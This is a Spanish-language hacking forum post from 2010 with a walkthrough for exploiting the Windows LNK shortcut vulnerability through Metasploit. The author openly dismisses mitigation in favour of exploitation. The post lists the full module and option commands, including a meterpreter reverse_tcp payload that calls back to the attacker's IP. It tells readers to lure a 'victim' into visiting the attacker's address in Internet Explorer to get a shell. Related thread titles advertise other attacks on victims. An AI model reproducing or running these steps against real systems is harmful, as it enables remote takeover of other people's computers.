Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

Explotando "LNK" con MetaSploit 0-day

  • 0 Respuestas
  • 1761 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado Devilboy

  • *
  • Underc0der
  • Mensajes: 328
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« en: Julio 23, 2010, 03:14:24 pm »
Bueno, como muchos sabran, y los que no, se enteraran ahora, hay una vulnerabilidad 0day en todas sus versiones de windows, explicada aca

La noticia no la publique porque ya la habia posteado un usuario, asique, pasados los dias, ya salio tanto su exploit, como un solucion provisoria hasta el parche oficial de MS. Y a eso viene esta entrada...

Primero a lo que nos interesa... La mitigacion? Naa, eso para maricones, la explotacion!.

Explotando "LNK" con MetaSploit


en kungfoosion.com de leo pigñer nos enseña como explotarlo con metasploit

MetaSploit nuevamente tiene un PoC para una vulnerabilidad que todavía no posee un parche de corrección de Microsoft.

Para testear esta vulnerabilidad primero debemos actualizar el framework con "svn update", y luego hacemos lo siguiente:

Código: [Seleccionar]
use windows/browser/ms10_xxx_windows_shell_lnk_execute
set SRVHOST nuestra_ip
set SRVPORT 80
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST nuestraip
set LPORT 443
exploit


despues de esto solo pedimos a la victima ke abra internet explorer y ponga nuestra_ip en la url y listo tendrèmos shell

Yo lo probé con un windows xp sp3 y funca, en vista y 7 no se xq no tengo xD

Fuente DDlr

Veo Una Energia Que Con Deceo de Justicia... Veo Mas Alla de LAs Letras Escritas...
Veo Un Hacktivismo Puro... Nacido De lo Mas Profundo De un Corazon..
Con La Mirada Firme En Defender Mis Ideales...


 

¿Te gustó el post? COMPARTILO!



Administrador Gráfico de Cyber Ataques para Metasploit

Iniciado por staRgan

Respuestas: 2
Vistas: 2094
Último mensaje Junio 26, 2011, 11:58:52 pm
por Ch05piN
Videos Metasploit desde básico hasta avanzado

Iniciado por dvdr

Respuestas: 24
Vistas: 19817
Último mensaje Abril 28, 2016, 11:40:55 am
por Satyricon
[Metasploit] Hackeando XAMPP Remotamente (Windows XP - 7 - 8)

Iniciado por CalebBucker

Respuestas: 4
Vistas: 4550
Último mensaje Diciembre 23, 2012, 10:08:37 pm
por CalebBucker
Dump skype account our victim for Metasploit

Iniciado por BrowserNet

Respuestas: 0
Vistas: 3141
Último mensaje Mayo 21, 2016, 08:10:13 pm
por BrowserNet
Send vídeo Youtube the victim with Metasploit

Iniciado por BrowserNet

Respuestas: 1
Vistas: 3518
Último mensaje Mayo 23, 2016, 07:46:58 pm
por Random